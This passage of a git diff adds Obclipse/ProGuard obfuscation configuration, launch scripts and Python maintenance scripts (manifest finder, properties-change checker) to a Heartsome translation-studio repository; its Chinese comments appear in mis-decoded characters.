net.sourceforge.nattable.selection.config.*, + net.sourceforge.nattable.selection.event.*, net.sourceforge.nattable.serializing.*, + net.sourceforge.nattable.sort.*, net.sourceforge.nattable.sort.action.*, + net.sourceforge.nattable.sort.command.*, net.sourceforge.nattable.sort.config.*, + net.sourceforge.nattable.sort.event.*, net.sourceforge.nattable.sort.painter.*, + net.sourceforge.nattable.style.*, net.sourceforge.nattable.style.editor.*, + net.sourceforge.nattable.style.editor.command.*, net.sourceforge.nattable.summaryrow.*, + net.sourceforge.nattable.tickupdate.*, net.sourceforge.nattable.tickupdate.action.*, + net.sourceforge.nattable.tickupdate.command.*, net.sourceforge.nattable.tickupdate.config.*, + net.sourceforge.nattable.ui.*, net.sourceforge.nattable.ui.action.*, + net.sourceforge.nattable.ui.binding.*, net.sourceforge.nattable.ui.matcher.*, + net.sourceforge.nattable.ui.menu.*, net.sourceforge.nattable.ui.mode.*, + net.sourceforge.nattable.ui.util.*, net.sourceforge.nattable.util.*, + net.sourceforge.nattable.viewport.*, net.sourceforge.nattable.viewport.action.*, + net.sourceforge.nattable.viewport.command.*, net.sourceforge.nattable.viewport.event.*, + net.sourceforge.nattable.widget.* +{ + public <fields>; + public <methods>; +} + +## org.eclipse.nebula.widgets.tablecombo +-keep class org.eclipse.nebula.jface.tablecomboviewer.*, org.eclipse.nebula.widgets.tablecombo.* +{ + public <fields>; + public <methods>; +} + + + +################################################################################################# +########################################################################################## + + + + +##############如果目标平å°ä½¿ç”¨çš„ä¸æ˜¯hudson的目标平å°ï¼Œé‚£ä¹ˆä½¿ç”¨eclipse export需è¦æ·»åŠ #################### +#-keep public class * implements org.osgi.framework.BundleActivator {*;} +#-keep class net.heartsome.cat.ts.Application +########################################################################################### + +-keep class net.heartsome.cat.te.core.qa.NumberConsistenceQA +-keep class net.heartsome.cat.te.core.qa.SpaceOfParaCheckQA +-keep class net.heartsome.cat.te.core.qa.SrcSameButTgtQA +-keep class net.heartsome.cat.te.core.qa.SrcSameWithTgtQA +-keep class net.heartsome.cat.te.core.qa.TagConsistenceQA +-keep class net.heartsome.cat.te.core.qa.TgtNullQA +-keep class net.heartsome.cat.te.core.qa.TgtSameButSrcQA +-keep class net.heartsome.cat.te.core.qa.QAConstant + + +-dontnote + +-keep class net.heartsome.license.webservice.IService { + public <methods>; +} + +-keep public class * implements java.beans.PropertyChangeListener {*;} +-keep public class * extends net.heartsome.cat.converter.util.AbstractModelObject {*;} +-keep public class * extends de.jaret.util.misc.PropertyObservableBase {*;} + + +# VTD 改为直接引用æºç ï¼Œä¸æ˜¾ç¤ºç›¸å…³è­¦å‘Šã€ä¹Ÿä¸è¦æ··æ·†ç›¸å…³ä»£ç  +-dontwarn com.ximpleware.** +-dontwarn java_cup.* +-keep class com.ximpleware.** { *;} +-keep class java_cup.** { *;} diff --git a/tools/obclipse/find.py b/tools/obclipse/find.py new file mode 100644 index 0000000..739ff1d --- /dev/null +++ b/tools/obclipse/find.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +import os, os.path + +def main(): + for root, dirs, files in os.walk('/Users/felix_lu/Documents/r8space'): + for name in files: + if name == 'MANIFEST.MF' or name == 'plugin.xml': + print(os.path.join(root, name)) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/tools/obclipse/launch.bat b/tools/obclipse/launch.bat new file mode 100644 index 0000000..a04a8fc --- /dev/null +++ b/tools/obclipse/launch.bat @@ -0,0 +1,8 @@ +@echo off + +SET BASE_DIR=. +SET JAVA_HOME=D:/Program Files/Java/jre6 + +SET OBCLIPSE_CONFIG_FILE=%BASE_DIR%/obclipse.properties + +"%JAVA_HOME%/bin/java" -classpath "%BASE_DIR%/obclipse.jar;%BASE_DIR%/lib/proguard.jar" mfb2.tools.obclipse.Obclipse %OBCLIPSE_CONFIG_FILE% diff --git a/tools/obclipse/launch.sh b/tools/obclipse/launch.sh new file mode 100755 index 0000000..8d06c9e --- /dev/null +++ b/tools/obclipse/launch.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +BASE_DIR=. +#JAVA_HOME=/usr/lib64/jvm/java/jre +JAVA_HOME=/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home + +OBCLIPSE_CONFIG_FILE=$BASE_DIR/obclipse.properties + +$JAVA_HOME/bin/java -Xmx1024m -classpath "$BASE_DIR/obclipse.jar:$BASE_DIR/lib/proguard.jar" mfb2.tools.obclipse.Obclipse $OBCLIPSE_CONFIG_FILE diff --git a/tools/obclipse/launch.xml b/tools/obclipse/launch.xml new file mode 100644 index 0000000..d83bffc --- /dev/null +++ b/tools/obclipse/launch.xml @@ -0,0 +1,53 @@ +<!-- + * This file is part of Oblicpse. + * Obclipse - Obfuscating Eclipse Products + * Copyright (c) 2007 Marco Bluemel (mfb2@users.sourceforge.net) + * Website: http://obclipse.sourceforge.net/ + * + * Obclipse is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Obclipse is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with Obclipse. If not, see <http://www.gnu.org/licenses/>. +--> +<project name="obclipse" default="obclipse.launch" basedir="."> + + <!-- + base dir of obclipse + define it here or pass the property to this ant script + --> + <property name="obclipseBaseDir" value="." /> + + <path id="project.classpath"> + <pathelement path="${obclipseBaseDir}/bin" /> + <pathelement path="${obclipseBaseDir}/obclipse.jar" /> + <pathelement path="${obclipseBaseDir}/lib/proguard.jar" /> + <pathelement path="${obclipseBaseDir}/lib/ant.jar" /> + </path> + + <!-- + define the obclipse task + --> + <taskdef resource="mfb2/tools/obclipse/ant/obclipsetask.properties" classpathref="project.classpath" /> + + <!-- + launch obclipse + --> + <target name="obclipse.launch"> + <property name="baseDir" value="D:/dev/mfb2/ob"/> + <property name="projectName" value="SmallTool"/> + <obclipse> + <property name="propertyFile" value="${baseDir}/config/${projectName}/obfuscation/obclipse.properties"/> + <property name="baseDir" value="${baseDir}"/> + <property name="projectName" value="${projectName}"/> + </obclipse> + </target> + +</project> diff --git a/tools/obclipse/lib/ant.jar b/tools/obclipse/lib/ant.jar new file mode 100644 index 0000000..4f70c07 Binary files /dev/null and b/tools/obclipse/lib/ant.jar differ diff --git a/tools/obclipse/lib/copy proguard.jar and ant.jar into this directory b/tools/obclipse/lib/copy proguard.jar and ant.jar into this directory new file mode 100644 index 0000000..e69de29 diff --git a/tools/obclipse/lib/proguard.jar b/tools/obclipse/lib/proguard.jar new file mode 100644 index 0000000..063e5eb Binary files /dev/null and b/tools/obclipse/lib/proguard.jar differ diff --git a/tools/obclipse/obclipse.jar b/tools/obclipse/obclipse.jar new file mode 100644 index 0000000..f769a1f Binary files /dev/null and b/tools/obclipse/obclipse.jar differ diff --git a/tools/obclipse/obclipse.log b/tools/obclipse/obclipse.log new file mode 100644 index 0000000..8269d3c --- /dev/null +++ b/tools/obclipse/obclipse.log @@ -0,0 +1,15 @@ +Obclipse version 0.1.0 +Loading property file /Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/obclipse.properties +Processing product in directory '/Users/Mac/Desktop/te_pack/repository' +Extracting application jars... +Extracting application jars to directory '/Users/Mac/Desktop/te_pack/repository/plugins'... +Collecting application information... +Collecting application plugins of directory /Users/Mac/Desktop/te_pack/repository/plugins +Executing obfuscation... +Create configuration file for ProGuard: /Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/build/obfuscationConfig.pro +Read proguard default config file '/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse/config/hste8/obfuscationParameter.pro'. +Fix special files of the plugins... +Copy obfuscated files back to application... +Plugin subdirectories to delete: [heartsome, plugins, org, net] +Rebuild extracted application jars... +The obfuscation process of the product is finished. diff --git a/tools/obclipse/obclipse.properties b/tools/obclipse/obclipse.properties new file mode 100644 index 0000000..133d9ef --- /dev/null +++ b/tools/obclipse/obclipse.properties @@ -0,0 +1,144 @@ +# Obclipse -- properties file +# +# Each here defined property or property given by the command line could be used +# as placeholders inside other property values similar to the ant notation: ${propertyname} +# e.g. workingDir=D:/dev/temp/build +# applicationDirectory=${workingDir}/SmallTool +#baseDir=D:/development/git/translation-studio/tools/obclipse +#baseDir=/Volumes/iMac-User/Projects/hsgit/translation-studio/tools/obclipse +baseDir=/Users/Mac/r8PackGit/tePack/translation-studio/tools/obclipse + +# java home directory +# e.g. C:/Programme/Java/jre1.5.0_14 +#javaHome=${resourcesDir}/bin/x86_32/java/jdk1.6.0_20/jre +#javaHome=D:/Program Files/Java/jre6 +javaHome=/System/Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Home + +# application folder name +# specifies the sub directory of the application +#applicationFolderName=${projectName} +applicationFolderName=hste8 + +# configuration directory +# base directory for configuration files +configDir="${baseDir}/config" + +# working directory +# base directory for working files +workingDir="${baseDir}/build" + +# resources directory +# base directory for resources +resourcesDir="${baseDir}/resources" + +# application directory +# base directory of the application to obfuscate +# e.g. D:/dev/builds/App1_RC4 +#applicationDirectory=${workingDir}/${applicationFolderName} +#applicationDirectory=D:/HS_Product/0605U/repository +#applicationDirectory=/Users/felix_lu/Desktop/r8builds/0722U/repository +applicationDirectory=/Users/Mac/Desktop/te_pack/repository + +# specify the plugins to obfuscate by the plugin ids or +# set to false to obfuscate all plugins starting with the application prefix +# e.g mfb2.tools;mfb2.utils +#applicationPlugins=mfb2.tools.small;mfb2.tools.big +applicationPlugins=false + +# application prefix +# all plugins which start with this prefixes will be obfuscated +# e.g. mfb2.tools,mfb2.utils +#applicationPrefix=mfb2.tools,mfb2.utils +applicationPrefix=net.heartsome.cat.common,net.heartsome.cat.database,net.heartsome.cat.p2update,net.heartsome.cat.te,net.heartsome.xml + +# subdirectories of each plugin which are used as library jars +# e.g. lib,res/lib +pluginLibSubDirs=lib + +# keep ids inside the plugin.xml files +# possible used class names will not be replaced by the obfuscated class name +# e.g. id,point +keepPluginXmlIDs=id,point,commandId,categoryId,category + +# keep ids inside the schema.exsd files +# possible used class names will not be replaced by the obfuscated class name +# e.g. id +keepSchemaExsdIDs=id + +# keep ids inside the MANIFEST.MF files +# possible used class names will not be replaced by the obfuscated class name +# e.g. +keepManifestMfIDs=Bundle-Activator,Bundle-SymbolicName + +# additional text files to fix +# this files will be parsed completely for classes which starts with the +# strings defined in the applicationPrefix property +# format: pluginName1,path/To/File1,path/To/FileN;pluginName2,path/To/File1,path/To/FileN +# e.g. mfb2.tools.obclipse,configuration/file1.prop,configuration/file2.prop;mfb2.tools.obclipse.util,nls/configuration/file10.prop,nls/configuration/file20.prop +#additionalFilesToFix=mfb2.tools.big,res/ConfigPropertyView.xmi +additionalFilesToFix=heartsome.java.tools.plugin/META-INF/MANIFEST.MF;net.heartsome.cat.common.core/META-INF/MANIFEST.MF;net.heartsome.cat.common.ui/META-INF/MANIFEST.MF;net.heartsome.cat.common.ui.shield,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.common.ui.shield.help/META-INF/MANIFEST.MF;net.heartsome.cat.common.ui.shield.resources/META-INF/MANIFEST.MF;net.heartsome.cat.common.ui.shield.workbench/META-INF/MANIFEST.MF;net.heartsome.cat.database/META-INF/MANIFEST.MF;net.heartsome.cat.database.hsql/META-INF/MANIFEST.MF;net.heartsome.cat.database.mssql/META-INF/MANIFEST.MF;net.heartsome.cat.database.mysql/META-INF/MANIFEST.MF;net.heartsome.cat.database.oracle/META-INF/MANIFEST.MF;net.heartsome.cat.database.postgreSQL/META-INF/MANIFEST.MF;net.heartsome.cat.database.sqlite/META-INF/MANIFEST.MF;net.heartsome.cat.database.ui,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.p2update,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.te,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.te.core/META-INF/MANIFEST.MF;net.heartsome.cat.te.tmxeditor,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.te.ui,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.te.ui.help,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.cat.thirdpartlibrary/META-INF/MANIFEST.MF;net.heartsome.cat.te.qa,plugin.xml,META-INF/MANIFEST.MF;net.heartsome.xml/META-INF/MANIFEST.MF;net.sourceforge.nattable.core/META-INF/MANIFEST.MF;org.eclipse.nebula.widgets.tablecombo/META-INF/MANIFEST.MF; + +# package paths of the class files +# full path or start of the package paths +# this is used to find class names inside the additional text files +# e.g. mfb2.tools,mfb2.utils +packagePaths=net.heartsome + +# obfuscation temp directory +# this directory will be temporarily create inside the application/plugins directory +# for the output of the obfuscator +# it will be deleted after the successfully obfuscation and integration +obfuscatedTempDir=tmpOb + +# obfuscated default package name +# the base package for the obfuscated classes +# the obfuscator will place all obfuscated classes in this package +# when the option for the default package is enabled by the obfuscator +# this directory will be added to the classpath and export path of each plugin +obDefaultPackageName=obClasses + + +#--- proguard specific parameters ---# + +# proguard config file (*.pro) +# this file will be written by Oblcipse, and passed +# to the probuard obfuscator as config file +# it will include the proguard parameter file +## robert +obfuscatorConfigFile=${workingDir}/obfuscationConfig.pro + +# proguard parameter file (*.pro) +# this file contains the basic settings for proguard +# especially the keep statements +# this file will be included into the proguard config file +# e.g. obfuscationParameter.pro +obfuscationParameterFile=${configDir}/${applicationFolderName}/obfuscationParameter.pro + +# proguard mapping file name +# proguard parameter: -printmapping +# proguard will write the original name to obfuscated name +# mapping to this file (*.map) +# e.g. obfuscate.map +## robert +mappingFileName=${workingDir}/obfuscate.map + +# proguard mapping file to apply for the obfuscation +# proguard parameter: -applymapping +# progard will reuse a previous mapping file, this is useful for incremental builds, e.g. plugin updates, patches +# e.g. ${configDir}/${applicationFolderName}/obfuscate_v1.map +## robert +mappingFileNameToApply=${configDir}/${applicationFolderName}/obfuscate.map + +# proguard filter +# proguard will consider the files which are hit by this filter +# this filter is applied for each plugin +# e.g. (*.jar;mfb2/app/**,mfb2/tools/**) +proguardFilter=(*.jar;plugins/**,heartsome/**,net/heartsome/**,org/eclipse/ui/**) + +# additional parameter for the obfuscatorConfigFile +# could be used for parameter which needs to have placeholders +# and so they could not be added to the obfuscationParameterFile +# e.g. -libraryjars "${resourcesDir}/annotations.jar",-include "${resourcesDir}/annotations.pro" +additionalProguardParameter=-libraryjars "${resourcesDir}/obfuscate/annotations.jar",-include "${resourcesDir}/obfuscate/annotations.pro",-libraryjars "${javaHome}/lib/jce.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/log4j-1.2.15.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/slf4j-api-1.5.8.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/slf4j-log4j12-1.5.8.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/junit.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/hslibrary3.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/xercesImpl.jar",-libraryjars "${resourcesDir}/${applicationFolderName}/resolver.jar" + +#--- END proguard specific parameters ---# diff --git a/tools/obclipse/obclipsesrc.zip b/tools/obclipse/obclipsesrc.zip new file mode 100644 index 0000000..d8c2a9c Binary files /dev/null and b/tools/obclipse/obclipsesrc.zip differ diff --git a/tools/obclipse/obfuscationParameter.pro b/tools/obclipse/obfuscationParameter.pro new file mode 100644 index 0000000..b91d222 --- /dev/null +++ b/tools/obclipse/obfuscationParameter.pro @@ -0,0 +1,16 @@ + + -dontshrink + -dontoptimize + -defaultpackage obClasses + -allowaccessmodification + -useuniqueclassmembernames + -dontusemixedcaseclassnames + + -ignorewarnings + + -keepattributes LineNumberTable, Signature, Deprecated, InnerClasses + + -keep class **.Messages + + -keep public class * implements org.eclipse.core.runtime.IPlatformRunnable {public *;} + \ No newline at end of file diff --git a/tools/obclipse/readme_obclipse.html b/tools/obclipse/readme_obclipse.html new file mode 100644 index 0000000..5796c95 --- /dev/null +++ b/tools/obclipse/readme_obclipse.html @@ -0,0 +1,50 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> +<style type="text/css"> +body {font-family: Verdana, Arial, sans-serif; } +p,b,ul,ol,li,div,td,th,address,blockquote,center,input { font-size:10pt; } +p { margin-top:5pt; margin-bottom:5pt; } +h1 { font-size:18pt; margin-bottom:9pt; } +h2 { font-size:16pt; margin-bottom:8pt; } +h3 { font-size:14pt; margin-bottom:7pt; } +h4 { font-size:12pt; margin-bottom:6pt; } +h5 { font-size:10pt; } +h6 { font-size:9pt; } +a {text-decoration:none; } +a:link { color: blue; } +a:visited { color: blue; } +a:active { color: red; } +a:hover { color: #999999; font-family: Verdana, Arial, sans-serif } +</style> +<title>Obclipse Readme + + +

    Obclipse Readme

    +

    Obclipse - Obfuscating Eclipse Products

    +

    Obclipse can obfuscate an entire eclipse product at once by creating the configuration file for the obfuscator ProGuard, running the obfuscator and then fixing the text based eclipse configuration files of each plugin (plugin.xml, manifest.mf, schema.exsd) with the obfuscated class names.
    +

    +

    Documentation

    +

    http://obclipse.sourceforge.net/doc/ +

    +

    License

    +

    Obclipse -- Obfuscating Eclipse Products
    +Copyright (c) 2007-2008 Marco Bluemel (mfb2@users.sourceforge.net)
    +Website: http://obclipse.sourceforge.net/
    +
    +Obclipse is free software: you can redistribute it and/or modify
    +it under the terms of the GNU General Public License as published by
    +the Free Software Foundation, either version 3 of the License, or
    +(at your option) any later version.
    +
    +Obclipse is distributed in the hope that it will be useful,
    +but WITHOUT ANY WARRANTY; without even the implied warranty of
    +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    +GNU General Public License for more details.
    +
    +You should have received a copy of the GNU General Public License
    +along with Obclipse. If not, see http://www.gnu.org/licenses/. +

    + + \ No newline at end of file diff --git a/tools/obclipse/resources/hste8/hslibrary3.jar b/tools/obclipse/resources/hste8/hslibrary3.jar new file mode 100644 index 0000000..32842ae Binary files /dev/null and b/tools/obclipse/resources/hste8/hslibrary3.jar differ diff --git a/tools/obclipse/resources/hste8/junit.jar b/tools/obclipse/resources/hste8/junit.jar new file mode 100644 index 0000000..99f25ae Binary files /dev/null and b/tools/obclipse/resources/hste8/junit.jar differ diff --git a/tools/obclipse/resources/hste8/log4j-1.2.15.jar b/tools/obclipse/resources/hste8/log4j-1.2.15.jar new file mode 100644 index 0000000..c930a6a Binary files /dev/null and b/tools/obclipse/resources/hste8/log4j-1.2.15.jar differ diff --git a/tools/obclipse/resources/hste8/resolver.jar b/tools/obclipse/resources/hste8/resolver.jar new file mode 100644 index 0000000..073d789 Binary files /dev/null and b/tools/obclipse/resources/hste8/resolver.jar differ diff --git a/tools/obclipse/resources/hste8/slf4j-api-1.5.8.jar b/tools/obclipse/resources/hste8/slf4j-api-1.5.8.jar new file mode 100644 index 0000000..35502ca Binary files /dev/null and b/tools/obclipse/resources/hste8/slf4j-api-1.5.8.jar differ diff --git a/tools/obclipse/resources/hste8/slf4j-log4j12-1.5.8.jar b/tools/obclipse/resources/hste8/slf4j-log4j12-1.5.8.jar new file mode 100644 index 0000000..b63bcdc Binary files /dev/null and b/tools/obclipse/resources/hste8/slf4j-log4j12-1.5.8.jar differ diff --git a/tools/obclipse/resources/hste8/xercesImpl.jar b/tools/obclipse/resources/hste8/xercesImpl.jar new file mode 100644 index 0000000..d5f3e98 Binary files /dev/null and b/tools/obclipse/resources/hste8/xercesImpl.jar differ diff --git a/tools/obclipse/resources/obfuscate/annotations.jar b/tools/obclipse/resources/obfuscate/annotations.jar new file mode 100644 index 0000000..9c15abf Binary files /dev/null and b/tools/obclipse/resources/obfuscate/annotations.jar differ diff --git a/tools/obclipse/resources/obfuscate/annotations.pro b/tools/obclipse/resources/obfuscate/annotations.pro new file mode 100644 index 0000000..f704af2 --- /dev/null +++ b/tools/obclipse/resources/obfuscate/annotations.pro @@ -0,0 +1,118 @@ +# +# This ProGuard configuration file specifies how annotations can be used +# to configure the processing of other code. +# Usage: +# java -jar proguard.jar @annotations.pro -libraryjars annotations.jar ... +# +# Note that the other input/output options still have to be specified. +# If you specify them in a separate file, you can simply include this file: +# -include annotations.pro +# +# You can add any other options that are required. For instance, if you are +# processing a library, you can still include the options from library.pro. + + +# The annotations are defined in the accompanying jar. For now, we'll start +# with these. You can always define your own annotations, if necessary. +-libraryjars annotations.jar + + +# The following annotations can be specified with classes and with class +# members. + +# @Keep specifies not to shrink, optimize, or obfuscate the annotated class +# or class member as an entry point. + +-keep @proguard.annotation.Keep class * + +-keepclassmembers class * { + @proguard.annotation.Keep *; +} + + +# @KeepName specifies not to optimize or obfuscate the annotated class or +# class member as an entry point. + +-keepnames @proguard.annotation.KeepName class * + +-keepclassmembernames class * { + @proguard.annotation.KeepName *; +} + + +# The following annotations can only be specified with classes. + +# @KeepImplementations and @KeepPublicImplementations specify to keep all, +# resp. all public, implementations or extensions of the annotated class as +# entry points. Note the extension of the java-like syntax, adding annotations +# before the (wild-carded) interface name. + +-keep class * implements @proguard.annotation.KeepImplementations * +-keep public class * implements @proguard.annotation.KeepPublicImplementations * + +# @KeepApplication specifies to keep the annotated class as an application, +# together with its main method. + +-keepclasseswithmembers @proguard.annotation.KeepApplication public class * { + public static void main(java.lang.String[]); +} + +# @KeepClassMembers, @KeepPublicClassMembers, and +# @KeepPublicProtectedClassMembers specify to keep all, all public, resp. +# all public or protected, class members of the annotated class from being +# shrunk, optimized, or obfuscated as entry points. + +-keepclassmembers @proguard.annotation.KeepClassMembers class * { + *; +} + +-keepclassmembers @proguard.annotation.KeepPublicClassMembers class * { + public *; +} + +-keepclassmembers @proguard.annotation.KeepPublicProtectedClassMembers class * { + public protected *; +} + +# @KeepClassMemberNames, @KeepPublicClassMemberNames, and +# @KeepPublicProtectedClassMemberNames specify to keep all, all public, resp. +# all public or protected, class members of the annotated class from being +# optimized or obfuscated as entry points. + +-keepclassmembernames @proguard.annotation.KeepClassMemberNames class * { + *; +} + +-keepclassmembernames @proguard.annotation.KeepPublicClassMemberNames class * { + public *; +} + +-keepclassmembernames @proguard.annotation.KeepPublicProtectedClassMemberNames class * { + public protected *; +} + +# @KeepGettersSetters and @KeepPublicGettersSetters specify to keep all, resp. +# all public, getters and setters of the annotated class from being shrunk, +# optimized, or obfuscated as entry points. + +-keepclassmembers @proguard.annotation.KeepGettersSetters class * { + void set*(***); + void set*(int, ***); + + boolean is*(); + boolean is*(int); + + *** get*(); + *** get*(int); +} + +-keepclassmembers @proguard.annotation.KeepPublicGettersSetters class * { + public void set*(***); + public void set*(int, ***); + + public boolean is*(); + public boolean is*(int); + + public *** get*(); + public *** get*(int); +} diff --git a/tools/pyscripts/.cvsignore b/tools/pyscripts/.cvsignore new file mode 100644 index 0000000..6c7b69a --- /dev/null +++ b/tools/pyscripts/.cvsignore @@ -0,0 +1 @@ +.gitignore diff --git a/tools/pyscripts/.gitignore b/tools/pyscripts/.gitignore new file mode 100644 index 0000000..397b4a7 --- /dev/null +++ b/tools/pyscripts/.gitignore @@ -0,0 +1 @@ +*.log diff --git a/tools/pyscripts/.project b/tools/pyscripts/.project new file mode 100644 index 0000000..dc36e50 --- /dev/null +++ b/tools/pyscripts/.project @@ -0,0 +1,17 @@ + + + pyscripts + + + + + + org.python.pydev.PyDevBuilder + + + + + + org.python.pydev.pythonNature + + diff --git a/tools/pyscripts/.pydevproject b/tools/pyscripts/.pydevproject new file mode 100644 index 0000000..0fc5a2c --- /dev/null +++ b/tools/pyscripts/.pydevproject @@ -0,0 +1,10 @@ + + + + + +/pyscripts + +python 3.0 +Python3 + diff --git a/tools/pyscripts/.settings/org.eclipse.core.resources.prefs b/tools/pyscripts/.settings/org.eclipse.core.resources.prefs new file mode 100644 index 0000000..b4a2909 --- /dev/null +++ b/tools/pyscripts/.settings/org.eclipse.core.resources.prefs @@ -0,0 +1,5 @@ +eclipse.preferences.version=1 +encoding/=UTF-8 +encoding/MergeRepos.py=utf-8 +encoding/findJarResource.py=utf-8 +encoding/hsconfig.py=utf-8 diff --git a/tools/pyscripts/CheckProperties.py b/tools/pyscripts/CheckProperties.py new file mode 100644 index 0000000..f78d44d --- /dev/null +++ b/tools/pyscripts/CheckProperties.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 + +"""检查 properties 文件自指定版本以æ¥çš„更新情况,将结果输出到å±å¹•å’Œæ—¥å¿—文件中。""" + +import os +import sys +import subprocess +import re +import logging + +import hsconfig + + +#################### 请修改以下å‚æ•° #################### +# 工作空间路径 +WS_PATH = hsconfig.workspace_path + +###### Git 专用å‚æ•° ###### +# Git ä»“åº“åœ°å€ +GIT_REPO_PATH = hsconfig.git_repo_path +# 检查的基准版本或æ交 +LAST_BUILD_TAG = hsconfig.git_last_version_tag +# Git 版本分支 +VCS_BRANCH = hsconfig.git_branch + + +def get_log(file_list, until=None): + """å–å¾— Git 的更新历å²ä¿¡æ¯ï¼Œç›´æŽ¥è¾“出 readlines() 的结果。 + 如果使用相对路径è¦å分å°å¿ƒï¼æ³¨æ„父目录是å¦æ­£ç¡®ï¼Œå¦åˆ™æ— æ³•å¾—到预期的结果。""" + cwd = os.getcwd() + os.chdir(GIT_REPO_PATH) + + # 判断是å¦åœ¨æŒ‡å®šçš„分支,且没有未æ交的修改 + status_cmd = ['git', 'status'] + status_result = subprocess.Popen( + status_cmd, stdout=subprocess.PIPE).stdout.readlines() + is_branch_right = False + for line in status_result: + try: + line = line.decode('utf-8').replace('\n', '').strip() + except UnicodeDecodeError as e: + logging.warning( + '{1}\n已放弃对上一行 Git 状æ€ä¿¡æ¯çš„解æžã€‚异常信æ¯å¦‚下:\n{0}'.format( + e, line)) + continue + if line == '# On branch {}'.format(VCS_BRANCH): + is_branch_right = True + break + if not is_branch_right: + print( + '请将 Git 仓库切æ¢åˆ° {} 分支,然åŽå†è¿è¡Œæ­¤è„šæœ¬ã€‚' + .format(VCS_BRANCH)) + exit(1) + + if not file_list: + file_list = ['.', ] + if not until: + until = '' + is_abs_path = True + for path in file_list: + if not os.path.isabs(path): + is_abs_path = False + break + if not is_abs_path: + logging.warning('使用了相对路径,å¯èƒ½å¯¼è‡´æ交历å²ä¿¡æ¯ä¸å‡†ç¡®ï¼') + + # 完整的 Git Log 命令 + log_cmd = [ + 'git', 'log', '-1', + '{}..{}'.format(LAST_BUILD_TAG, until), + '--date=iso', + '--'] + file_list + log_result = subprocess.Popen( + log_cmd, stdout=subprocess.PIPE).stdout.readlines() + # 返回之å‰çš„目录,é¿å…给其他方法造æˆéº»çƒ¦ + os.chdir(cwd) + logging.debug('命令 {0} 的执行结果:\n{1}'.format(log_cmd, log_result)) + return log_result + + +def get_project_pathes(): + """å–得相应的项目路径""" + project_pathes = [] + + # åˆå§‹åŒ–è¦ç”¨åˆ°çš„ä¿¡æ¯ + project_dir_path_list = [ + '.metadata', + '.plugins', + 'org.eclipse.core.resources', + '.projects'] + project_dir_path = os.path.join( + WS_PATH, os.path.sep.join(project_dir_path_list)) + location_file = '.location' + path_prefix = 'file:' + + for project_name in os.listdir(project_dir_path): + if not project_name.startswith('.'): + location_file_path = os.path.join( + project_dir_path, project_name, location_file) + lfile = open(location_file_path, 'rb') + # 该文件åªæœ‰ä¸€è¡Œå†…容,将其转为 str 方便åŽé¢ç”¨æ­£åˆ™è¡¨è¾¾å¼ + location_content = str(lfile.readlines()[0]) + lfile.close() + + # 用正则表达å¼æ¥æŸ¥æ‰¾ + m = re.search('(?<={0}).*{1}'.format( + path_prefix, project_name), location_content) + project_path = m.group(0) + if sys.platform == 'win32': + # Windows 下è¦åŽ»æŽ‰è·¯å¾„的起始 / 并替æ¢æ‰€æœ‰ / 为 \\ + project_path = project_path.replace('/', '\\')[1:] + if os.path.isdir(project_path): + project_pathes.append(project_path) + + # 结果简å•å¤„ç† + if project_pathes: + return project_pathes + else: + return None + + +def main(): + script_path, script_name = os.path.split(os.path.realpath(sys.argv[0])) + logging.basicConfig( + filename='{}.log'.format(os.path.splitext(script_name)[0]), + format='%(asctime)s %(message)s', + level=logging.INFO) + + print('检查 {} 中的æ’件的资æºæ–‡ä»¶ä¿®æ”¹æƒ…况:\n'.format(GIT_REPO_PATH)) + logging.info('检查 {} 中的æ’件的资æºæ–‡ä»¶ä¿®æ”¹æƒ…况:\n'.format(GIT_REPO_PATH)) + + project_pathes = get_project_pathes() + for project in project_pathes: + plugin_name = os.path.split(project)[1] + changed_prop_count = 0 + for root, dirs, names in os.walk(project): + for name in names: + if name.endswith('.properties'): + path = os.path.join(root, name) + log = get_log([path, ]) + if log: + # åªè¦æœ‰ Git æ交历å²è®°å½•ï¼Œå°±è¯´æ˜Žè¯¥ properties 文件有更新 + for line in log: + try: + line = line.decode('utf-8').replace('\n', '').strip() + except UnicodeDecodeError as e: + logging.warning( + '{1}\n已放弃对上一行 Git 状æ€ä¿¡æ¯çš„解æžã€‚异常信æ¯å¦‚下:\n{0}'.format( + e, line)) + continue + # 更精确地确认是 commit 历å²ï¼Œè€Œéžå‡ºé”™ä¿¡æ¯ + if line.startswith('commit'): + if not changed_prop_count: + print('æ’件:{}\n已修改资æºæ–‡ä»¶ï¼š'.format(plugin_name)) + logging.info('æ’件 {}\n已修改资æºæ–‡ä»¶ï¼š'.format(plugin_name)) + path = path.replace(project, '') + print('\t{}'.format(path)) + logging.info('\t{0}'.format(path)) + changed_prop_count += 1 + break + if changed_prop_count: + print() + logging.info('') + print('检查完æˆï¼æœ¬æ¬¡æ£€æŸ¥çš„日志已ä¿å­˜åœ¨ {}.log 文件中。'.format( + os.path.join(script_path, 